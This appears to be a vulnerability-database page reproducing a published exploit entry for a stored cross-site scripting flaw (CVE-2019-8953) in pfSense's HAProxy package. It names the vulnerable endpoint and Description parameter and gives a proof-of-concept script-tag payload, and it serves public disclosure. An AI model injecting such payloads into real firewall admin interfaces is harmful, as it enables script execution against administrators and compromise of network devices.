Lucene search
K

pfSense 2.4.4-p1 (HAProxy Package 0.59_14) Cross Site Scripting

🗓️ 13 Mar 2019 00:00:00Reported by Gionathan RealeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 69 Views

pfSense 2.4.4-p1 (HAProxy Package 0.59_14) stored Cross-Site Scripting vulnerability

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting Vulnerability
13 Mar 201900:00
zdt
CNVD
pfSense HAProxy package cross-site scripting vulnerability
22 Feb 201900:00
cnvd
Check Point Advisories
Netgate pfSense Stored Cross-Site Scripting (CVE-2019-8953)
24 Oct 201900:00
checkpoint_advisories
CVE
CVE-2019-8953
20 Feb 201916:00
cve
Cvelist
CVE-2019-8953
20 Feb 201916:00
cvelist
NVD
CVE-2019-8953
20 Feb 201916:29
nvd
Prion
Design/Logic Flaw
20 Feb 201916:29
prion
SUSE CVE
SUSE CVE-2019-8953
15 Feb 202304:15
susecve
`# Exploit Title: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Stored Cross-Site Scripting   
# Date: 13.02.2019   
# Exploit Author: Gionathan "John" Reale   
# Vendor Homepage: https://www.pfsense.org   
# Version: 2.4.4-p1/0.59_14   
# Software Link: N/A  
# Google Dork: N/A  
# CVE:2019-8953   
  
##################################################################################################################################   
Introduction pfSenseA(r) software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.   
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.   
HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers.   
#################################################################################   
  
Example: URL https://192.168.1.1/haproxy/haproxy_listeners_edit.php   
PARAMETER Description   
PAYLOAD "><script>alert("test")</script>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation